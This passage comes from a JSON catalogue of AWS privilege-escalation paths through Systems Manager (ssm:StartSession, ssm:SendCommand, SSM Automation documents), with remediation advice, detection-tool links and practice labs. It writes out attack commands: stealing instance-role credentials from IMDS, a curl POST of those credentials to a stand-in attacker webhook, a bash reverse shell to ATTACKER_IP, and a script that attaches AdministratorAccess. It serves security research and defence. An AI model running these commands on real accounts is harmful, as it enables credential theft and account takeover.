        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/index.html#ssmstartsession"
      },
      {
        "title": "AWS IAM privilege escalation paths",
        "url": "https://pswalia2u.medium.com/aws-iam-privilege-escalation-paths-cba36be1aa9e"
      }
    ],
    "relatedPaths": [
      "ssm-002"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/ssm_edges.py#L103-L110",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L283"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/ssm-startsession",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "SSM-StartSession",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "ecs_efs_attack",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks. This scenario uses ssm:StartSession to access EC2 instances after exploiting tag-based policies"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "ssm:StartSession",
          "resourceConstraints": "Target EC2 instance must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "ec2:DescribeInstances",
          "resourceConstraints": "Helpful for discovering available EC2 instances to target"
        },
        {
          "permission": "ssm:DescribeInstanceInformation",
          "resourceConstraints": "Helpful for identifying instances with SSM agent installed and their online status"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `ssm:StartSession` permission. This principal can start an interactive session on any EC2 instance that has the SSM agent installed and running, and that the principal has permission to access. The session provides shell access similar to SSH but operates entirely through the AWS API.\n"
        },
        {
          "id": "ec2_instance",
          "label": "EC2 Instance",
          "type": "resource",
          "description": "The target EC2 instance with SSM agent installed and running. The instance must have an IAM role attached via instance profile with the AmazonSSMManagedInstanceCore policy (or equivalent permissions) to enable Systems Manager functionality. The instance must also be in a running state for the session to be established.\n"
        },
        {
          "id": "instance_role",
          "label": "Existing Service Role",
          "type": "principal",
          "description": "The IAM role attached to the EC2 instance via instance profile. This role's temporary credentials are available through the Instance Metadata Service (IMDS) at http://169.254.169.254/latest/meta-data/iam/security-credentials/. Once the attacker gains session access to the instance, they can use these credentials in several ways.\n"
        },
        {
          "id": "method_direct_elevation",
          "label": "Method 1: Direct Elevation via AWS CLI",
          "type": "payload",
          "color": "#99ccff",
          "description": "Once the SSM session is established, use the AWS CLI on the EC2 instance to directly elevate the starting principal's permissions. The commands run with the instance role's credentials and can perform privileged IAM actions such as:\n- Attaching AdministratorAccess policy to the starting principal (iam:AttachUserPolicy)\n- Creating new access keys for privileged users (iam:CreateAccessKey)\n- Adding the starting principal to an admin IAM group (iam:AddUserToGroup)\n- Modifying inline policies to grant elevated permissions (iam:PutUserPolicy)\n\nExample commands from within the SSM session:\n```bash\naws iam attach-user-policy \\\n  --user-name starting-user \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThis approach is the most direct - it immediately grants the starting principal elevated permissions using the instance role's credentials. No credential exfiltration is needed.\n"
        },
        {
          "id": "method_credential_exfil",
          "label": "Method 2: Exfiltrate Credentials to Remote Host",
          "type": "payload",
          "color": "#99ccff",
          "description": "Once the SSM session is established, retrieve the instance role's temporary credentials from IMDS and manually configure them on the attacker's host. This provides the most flexibility as the attacker can use the credentials from any location.\n\nFrom within the SSM session, query IMDS to retrieve credentials:\n```bash\n# Get the role name\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Get the credentials\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME\n```\n\nThe output contains JSON with AccessKeyId, SecretAccessKey, and SessionToken. The attacker can then configure these on their own host:\n```bash\nexport AWS_ACCESS_KEY_ID=\"...\"\nexport AWS_SECRET_ACCESS_KEY=\"...\"\nexport AWS_SESSION_TOKEN=\"...\"\n\n# Or use aws configure\naws configure set aws_access_key_id \"...\" --profile exfiltrated\naws configure set aws_secret_access_key \"...\" --profile exfiltrated\naws configure set aws_session_token \"...\" --profile exfiltrated\n```\n\nThis approach provides maximum flexibility and persistence, allowing the attacker to work from their own environment and maintain access even if the SSM session is terminated.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the attacker gains full administrative access to the AWS account using the exfiltrated credentials. They can perform any action in the account including creating new admin users, modifying resources, or accessing sensitive data.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the instance role has some elevated permissions but not full admin access, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables), ability to modify certain resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the instance role only has minimal permissions (such as the basic AmazonSSMManagedInstanceCore policy for Systems Manager functionality), the credential exfiltration may not provide meaningful additional access beyond what the starting principal already had. However, even limited access could be useful for reconnaissance.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "ec2_instance",
          "label": "ssm:StartSession",
          "description": "Start an interactive Systems Manager session on the target EC2 instance using ssm:StartSession. This establishes a shell session similar to SSH but operates entirely through the AWS API without requiring network connectivity to the instance or open SSH ports.\n\nCommand:\n```bash\naws ssm start-session --target i-XXXXXXXXXXX\n```\n\nAfter executing this command, an interactive shell session is established on the instance.\n"
        },
        {
          "from": "ec2_instance",
          "to": "instance_role",
          "label": "Session access to instance",
          "description": "The SSM session provides shell access to the EC2 instance. The instance automatically provides access to the attached IAM role's credentials through the Instance Metadata Service. The attacker can now choose one of several exploitation methods to leverage these credentials.\n"
        },
        {
          "from": "instance_role",
          "to": "method_direct_elevation",
          "label": "Option A",
          "description": "Use the AWS CLI on the EC2 instance to directly modify IAM and elevate the starting principal's permissions. This is the most direct approach and doesn't require credential exfiltration.\n"
        },
        {
          "from": "instance_role",
          "to": "method_credential_exfil",
          "label": "Option B",
          "description": "Query IMDS to retrieve the instance role's credentials and manually configure them on the attacker's host for use from any location.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "admin_outcome",
          "label": "If instance role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the direct elevation approach immediately grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "partial_outcome",
          "label": "If instance role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the instance role has elevated but non-administrative permissions, the direct elevation approach can still grant the starting principal useful additional permissions by modifying IAM policies or group memberships within the instance role's permission scope.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "minimal_outcome",
          "label": "If instance role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions (like AmazonSSMManagedInstanceCore), the direct elevation approach will fail because the role lacks the necessary IAM modification permissions. The attacker would need to choose a different exploitation method.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "admin_outcome",
          "label": "If instance role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location. They can create new admin users, access all resources, and modify security configurations.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "partial_outcome",
          "label": "If instance role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the instance role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation. Common scenarios include access to S3 buckets, RDS databases, DynamoDB tables, or permissions to modify specific resources. The attacker can work from their own environment.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "minimal_outcome",
          "label": "If instance role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions such as AmazonSSMManagedInstanceCore or CloudWatch logs write access, the exfiltrated credentials may not provide significant additional access. However, having the credentials on the attacker's host provides persistence even if the SSM session is terminated.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-02-13T11:28:37Z",
      "contributors": [
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/ssm/ssm-001.yaml"
  },
  {
    "id": "ssm-002",
    "name": "ssm:SendCommand",
    "category": "existing-passrole",
    "services": [
      "ssm",
      "ec2"
    ],
    "description": "The `ssm:SendCommand` permission allows a principal to execute commands on any EC2 instance on which they have this permission, using SSM Run Command. This access is contingent on the EC2 instance having the SSM agent installed, possessing the AmazonSSMManagedInstanceCore policy (or equivalent permissions), and being in a running state. If an instance has a privileged IAM role attached, an attacker can abuse this permission to execute code that steals the credentials for that role, thereby escalating their own permissions.",
    "prerequisites": {
      "admin": [
        "EC2 instance must exist and be running",
        "EC2 instance must have SSM agent installed",
        "EC2 instance must have an instance profile attached to an IAM role",
        "IAM role must have AmazonSSMManagedInstanceCore policy or equivalent",
        "Target EC2 instance must have a role with administrative permissions attached"
      ],
      "lateral": [
        "EC2 instance must exist and be running",
        "EC2 instance must have SSM agent installed",
        "EC2 instance must have an instance profile attached to an IAM role",
        "IAM role must have AmazonSSMManagedInstanceCore policy or equivalent"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws ssm send-command --instance-ids \"i-XXXXXXXXXXX\" --document-name \"AWS-RunShellScript\" --comment \"Stealing IAM credentials\" --parameters commands=[\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME\"]",
          "description": "Send a command to steal the IAM role credentials from instance metadata"
        },
        {
          "step": 2,
          "command": "aws ssm get-command-invocation --command-id @command-id --instance-id i-XXXXXXXXXXX",
          "description": "Retrieve the command output containing the temporary credentials"
        }
      ]
    },
    "recommendation": "Restrict access to `ssm:SendCommand` using the principle of least privilege. Use the Resource and Condition elements in IAM policies to limit which instances a principal can run commands on and which documents they can use. Monitor use of this sensitive permission using CloudSIEM detections.",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/ssm_edges.py"
      }
    },
    "references": [
      {
        "title": "IAM Vulnerable - SSM SendCommand",
        "url": "https://github.com/BishopFox/iam-vulnerable/blob/main/modules/free-resources/privesc-paths/privesc-ssmSendCommand.tf"
      },
      {
        "title": "HackTricks - AWS - SSM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/index.html#ssmsendcommand"
      },
      {
        "title": "AWS IAM privilege escalation paths",
        "url": "https://pswalia2u.medium.com/aws-iam-privilege-escalation-paths-cba36be1aa9e"
      }
    ],
    "relatedPaths": [
      "ssm-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/ssm-sendcommand",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "SSM-SendCommand",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/ssm_edges.py#L85-L95",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L285"
    },
    "permissions": {
      "required": [
        {
          "permission": "ssm:SendCommand",
          "resourceConstraints": "Target EC2 instance must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "ec2:DescribeInstances",
          "resourceConstraints": "Helpful for discovering available EC2 instances to target"
        },
        {
          "permission": "ssm:DescribeInstanceInformation",
          "resourceConstraints": "Helpful for identifying instances with SSM agent installed and their online status"
        },
        {
          "permission": "ssm:ListCommandInvocations",
          "resourceConstraints": "Helpful for finding command invocation IDs to retrieve output"
        },
        {
          "permission": "ssm:GetCommandInvocation",
          "resourceConstraints": "Required to retrieve the command output containing the exfiltrated credentials"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `ssm:SendCommand` permission. This principal can execute arbitrary commands on any EC2 instance where they have this permission, as long as the instance has the SSM agent installed, is running, and has the AmazonSSMManagedInstanceCore policy (or equivalent). The command output is captured and can be retrieved via SSM.\n"
        },
        {
          "id": "ec2_instance",
          "label": "Existing EC2 Instance",
          "type": "resource",
          "description": "The target EC2 instance with SSM agent installed and running. The instance must have an instance profile attached with an IAM role that has the AmazonSSMManagedInstanceCore policy (or equivalent SSM permissions). The instance must be in a running state for SSM commands to execute successfully.\n"
        },
        {
          "id": "instance_role",
          "label": "Existing Service Role",
          "type": "principal",
          "description": "The IAM role attached to the EC2 instance via instance profile. This role's temporary credentials are available through the Instance Metadata Service (IMDS) at http://169.254.169.254/latest/meta-data/iam/security-credentials/. The attacker can execute a command via SSM to access these credentials using one of several exploitation methods.\n"
        },
        {
          "id": "method_direct_elevation",
          "label": "Method 1: Direct Elevation via AWS CLI",
          "type": "payload",
          "color": "#99ccff",
          "description": "Use ssm:SendCommand to execute AWS CLI commands on the instance that directly elevate the starting principal's permissions. The command runs with the instance role's credentials and can perform privileged IAM actions such as:\n- Attaching AdministratorAccess policy to the starting principal (iam:AttachUserPolicy)\n- Creating new access keys for privileged users (iam:CreateAccessKey)\n- Adding the starting principal to an admin IAM group (iam:AddUserToGroup)\n- Modifying inline policies to grant elevated permissions (iam:PutUserPolicy)\n\nExample SSM command that directly elevates starting principal:\n```bash\naws ssm send-command \\\n  --instance-ids \"i-XXXXXXXXXXX\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=[\"aws iam attach-user-policy --user-name starting-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"]\n```\n\nThis approach is the most direct - the command immediately grants the starting principal elevated permissions using the instance role's credentials. No credential exfiltration is needed.\n"
        },
        {
          "id": "method_credential_exfil",
          "label": "Method 2: Exfiltrate Credentials to Remote Host",
          "type": "payload",
          "color": "#99ccff",
          "description": "Use ssm:SendCommand to execute a command that queries IMDS for the instance role's credentials and exfiltrates them to an attacker-controlled webhook or remote listener. This is a fire-and-forget approach that automatically retrieves and sends credentials without requiring the attacker to poll SSM for command output.\n\nExample SSM command that exfiltrates credentials:\n```bash\naws ssm send-command \\\n  --instance-ids \"i-XXXXXXXXXXX\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=[\"ROLE_NAME=\\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/); CREDS=\\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\\$ROLE_NAME); curl -X POST -d \\\"\\$CREDS\\\" https://attacker-webhook.com/collect\"]\n```\n\nThe command automatically:\n1. Queries the metadata service to discover the attached role name\n2. Retrieves the full credential set (AccessKeyId, SecretAccessKey, SessionToken)\n3. Sends the credentials to an attacker-controlled endpoint (webhook, HTTP server, etc.)\n\nThe attacker receives the credentials remotely and can then configure them locally to authenticate as the instance role. This approach doesn't require ssm:GetCommandInvocation permission.\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 3: Reverse Shell Connection",
          "type": "payload",
          "color": "#99ccff",
          "description": "Use ssm:SendCommand to establish a reverse shell connection back to an attacker-controlled listener. The reverse shell provides interactive access to the EC2 instance, allowing the attacker to manually retrieve the instance role's temporary credentials from IMDS.\n\nExample SSM command that establishes reverse shell:\n```bash\naws ssm send-command \\\n  --instance-ids \"i-XXXXXXXXXXX\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=[\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"]\n```\n\nOnce the reverse shell is established, the attacker can:\n1. Query the instance metadata service: `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME`\n2. Extract temporary credentials (AccessKeyId, SecretAccessKey, SessionToken)\n3. Configure these credentials locally: `aws configure set` or environment variables\n4. Use the credentials to perform actions as the instance role\n\nThe reverse shell approach requires the attacker to maintain a listener (e.g., `nc -lvnp 4444`) but provides interactive access and flexibility for manual reconnaissance and exploitation.\n"
        },
        {
          "id": "method_ssm_retrieval",
          "label": "Method 4: Print Credentials and Retrieve via SSM",
          "type": "payload",
          "color": "#99ccff",
          "description": "Use ssm:SendCommand to execute a command that queries IMDS and prints the credentials to stdout. The command output is captured by SSM and can be retrieved later using ssm:ListCommandInvocations and ssm:GetCommandInvocation. This is the most straightforward approach when you have the additional SSM permissions.\n\nExample SSM command that prints credentials:\n```bash\naws ssm send-command \\\n  --instance-ids \"i-XXXXXXXXXXX\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=[\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME\"]\n```\n\nThen retrieve the command output:\n```bash\n# List command invocations to find the CommandId\naws ssm list-command-invocations --instance-id i-XXXXXXXXXXX\n\n# Get the specific command output containing credentials\naws ssm get-command-invocation --command-id <COMMAND_ID> --instance-id i-XXXXXXXXXXX\n```\n\nThe output contains the JSON response from IMDS with the instance role's temporary security credentials including AccessKeyId, SecretAccessKey, and SessionToken. The credentials can then be exported to environment variables and used with AWS CLI or SDK from any location.\n\nThis approach requires ssm:ListCommandInvocations and ssm:GetCommandInvocation permissions but is the cleanest method as all communication happens through AWS APIs without requiring external infrastructure.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the attacker gains full administrative access to the AWS account using the exfiltrated credentials. They can perform any action in the account including creating new admin users, modifying resources, accessing sensitive data, or establishing persistence.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the instance role has some elevated permissions but not full admin access, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables), ability to modify certain resources, or permissions that enable additional privilege escalation paths. The attacker should enumerate the role's permissions using sts:GetCallerIdentity and iam:GetRolePolicy to identify available actions.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the instance role only has minimal permissions (such as AmazonSSMManagedInstanceCore for SSM functionality, CloudWatch logs write access, or basic EC2 describe permissions), the credential exfiltration may not provide meaningful additional access beyond what the starting principal already had. However, even limited access could be useful for reconnaissance or as part of a multi-step attack.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "ec2_instance",
          "label": "ssm:SendCommand",
          "description": "Use ssm:SendCommand to execute a command on the target EC2 instance. The command uses the AWS-RunShellScript document to execute arbitrary shell commands. Choose one of the four exploitation methods based on available permissions and operational security requirements.\n\nBasic command structure:\n```bash\naws ssm send-command \\\n  --instance-ids \"i-XXXXXXXXXXX\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=[\"<EXPLOITATION_COMMAND>\"]\n```\n"
        },
        {
          "from": "ec2_instance",
          "to": "instance_role",
          "label": "Command executes on instance",
          "description": "The SSM agent on the EC2 instance receives and executes the command. Since the command runs in the context of the instance, it has automatic access to the Instance Metadata Service (IMDS) where the instance role's temporary credentials are available. The attacker can choose one of several exploitation methods to leverage these credentials.\n"
        },
        {
          "from": "instance_role",
          "to": "method_direct_elevation",
          "label": "Option A",
          "description": "Execute AWS CLI commands on the instance that directly modify IAM to elevate the starting principal's permissions. This is the most direct approach and doesn't require credential exfiltration.\n"
        },
        {
          "from": "instance_role",
          "to": "method_credential_exfil",
          "label": "Option B",
          "description": "Execute a command that exfiltrates the instance role's credentials to an attacker-controlled remote host (webhook, HTTP server, etc.). This approach doesn't require ssm:GetCommandInvocation permission.\n"
        },
        {
          "from": "instance_role",
          "to": "method_reverse_shell",
          "label": "Option C",
          "description": "Establish a reverse shell connection back to an attacker-controlled listener for interactive access to the instance and manual credential retrieval.\n"
        },
        {
          "from": "instance_role",
          "to": "method_ssm_retrieval",
          "label": "Option D",
          "description": "Print credentials to stdout and retrieve them later using ssm:ListCommandInvocations and ssm:GetCommandInvocation. This is the cleanest approach when you have the additional SSM permissions.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "admin_outcome",
          "label": "If instance role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the direct elevation approach immediately grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "partial_outcome",
          "label": "If instance role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the instance role has elevated but non-administrative permissions, the direct elevation approach can still grant the starting principal useful additional permissions by modifying IAM policies or group memberships within the instance role's permission scope.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "minimal_outcome",
          "label": "If instance role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions (like AmazonSSMManagedInstanceCore), the direct elevation approach will fail because the role lacks the necessary IAM modification permissions. The attacker would need to choose a different exploitation method.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "admin_outcome",
          "label": "If instance role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location. They can create new admin users, access all resources, and modify security configurations.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "partial_outcome",
          "label": "If instance role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the instance role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation including access to S3 buckets, RDS databases, DynamoDB tables, or permissions to modify specific resources.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "minimal_outcome",
          "label": "If instance role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions such as AmazonSSMManagedInstanceCore or CloudWatch logs write access, the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin_outcome",
          "label": "If instance role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the reverse shell provides interactive access to retrieve the credentials which can then be used for full administrative access to the AWS account.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "partial_outcome",
          "label": "If instance role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the instance role has elevated but non-administrative permissions, the reverse shell provides interactive access to retrieve credentials for partial privilege escalation and manual reconnaissance of available permissions.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "minimal_outcome",
          "label": "If instance role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions, the reverse shell still provides interactive access to the instance which could be useful for reconnaissance, but the retrieved credentials may not provide significant additional access.\n"
        },
        {
          "from": "method_ssm_retrieval",
          "to": "admin_outcome",
          "label": "If instance role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, retrieving the credentials via SSM GetCommandInvocation provides the attacker with full administrative access to the AWS account. This is the cleanest approach as all communication happens through AWS APIs.\n"
        },
        {
          "from": "method_ssm_retrieval",
          "to": "partial_outcome",
          "label": "If instance role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the instance role has elevated but non-administrative permissions, the SSM retrieval approach provides partial privilege escalation with credentials that can be cleanly retrieved through AWS APIs without requiring external infrastructure.\n"
        },
        {
          "from": "method_ssm_retrieval",
          "to": "minimal_outcome",
          "label": "If instance role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions such as AmazonSSMManagedInstanceCore, the credentials retrieved via SSM may not provide significant additional access, but the clean API-based approach maintains operational security by avoiding external infrastructure.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-02-13T11:28:37Z",
      "contributors": [
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/ssm/ssm-002.yaml"
  },
  {
    "id": "ssm-003",
    "name": "iam:PassRole + ssm:CreateDocument + ssm:StartAutomationExecution",
    "category": "new-passrole",
    "services": [
      "iam",
      "ssm"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role to the SSM Automation service as the AutomationAssumeRole"
        },
        {
          "permission": "ssm:CreateDocument",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "ssm:StartAutomationExecution",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "ssm:DescribeAutomationExecutions",
          "resourceConstraints": "Useful for listing and monitoring automation executions"
        },
        {
          "permission": "ssm:GetAutomationExecution",
          "resourceConstraints": "Useful for polling execution status and retrieving step outputs"
        },
        {
          "permission": "ssm:ListDocuments",
          "resourceConstraints": "Helpful for discovering existing SSM documents and their associated roles"
        },
        {
          "permission": "ssm:DescribeDocument",
          "resourceConstraints": "Useful for inspecting document content before execution"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `ssm:CreateDocument`, and `ssm:StartAutomationExecution` can escalate privileges by creating a custom SSM Automation document with a Python `aws:executeScript` step that calls `iam:AttachUserPolicy`, then starting an execution that passes an admin IAM role as the `AutomationAssumeRole`. SSM Automation runs the Python script in AWS-managed serverless compute under the admin role's credentials \u2014 no EC2 instance, SSM agent, or intermediate infrastructure is required. The script attaches AdministratorAccess to the starting user.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts ssm.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts ssm.amazonaws.com and has elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "cat > /tmp/ssm-privesc-doc.json << 'EOF'\n{\n  \"schemaVersion\": \"0.3\",\n  \"description\": \"Privilege escalation via SSM Automation aws:executeScript\",\n  \"assumeRole\": \"{{ AutomationAssumeRole }}\",\n  \"parameters\": {\n    \"AutomationAssumeRole\": {\n      \"type\": \"String\",\n      \"description\": \"Admin IAM role ARN for SSM Automation to assume\"\n    },\n    \"UserName\": {\n      \"type\": \"String\",\n      \"description\": \"IAM user name to escalate\"\n    }\n  },\n  \"mainSteps\": [\n    {\n      \"name\": \"escalateUser\",\n      \"action\": \"aws:executeScript\",\n      \"inputs\": {\n        \"Runtime\": \"python3.11\",\n        \"Handler\": \"script_handler\",\n        \"InputPayload\": {\n          \"UserName\": \"{{ UserName }}\"\n        },\n        \"Script\": \"import boto3\\ndef script_handler(events, context):\\n    iam = boto3.client('iam')\\n    iam.attach_user_policy(\\n        UserName=events['UserName'],\\n        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\\n    )\\n    return {'Status': 'Escalated ' + events['UserName']}\\n\"\n      }\n    }\n  ]\n}\nEOF\n\naws ssm create-document \\\n  --name privesc-ssm-doc \\\n  --content file:///tmp/ssm-privesc-doc.json \\\n  --document-type Automation \\\n  --document-format JSON\n",
          "description": "Create a custom SSM Automation document with schema version 0.3. The document contains an aws:executeScript step with embedded Python that calls iam:AttachUserPolicy using the AutomationAssumeRole's credentials. The assumeRole field at the document level ensures all steps run under the passed admin role."
        },
        {
          "step": 2,
          "command": "aws ssm start-automation-execution \\\n  --document-name privesc-ssm-doc \\\n  --parameters '{\n    \"AutomationAssumeRole\": [\"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\"],\n    \"UserName\": [\"STARTING_USER\"]\n  }'\n",
          "description": "Start the automation execution, passing the admin role as AutomationAssumeRole via iam:PassRole. SSM assumes the role and runs the Python aws:executeScript step in AWS-managed serverless compute \u2014 no EC2 instance or SSM agent is required."
        },
        {
          "step": 3,
          "command": "aws ssm get-automation-execution \\\n  --automation-execution-id EXECUTION_ID \\\n  --query 'AutomationExecution.AutomationExecutionStatus' \\\n  --output text\n",
          "description": "Poll the automation execution status until it reaches Success. The Python step typically completes within 30-90 seconds."
        },
        {
          "step": 4,
          "command": "aws iam list-attached-user-policies \\\n  --user-name STARTING_USER\n",
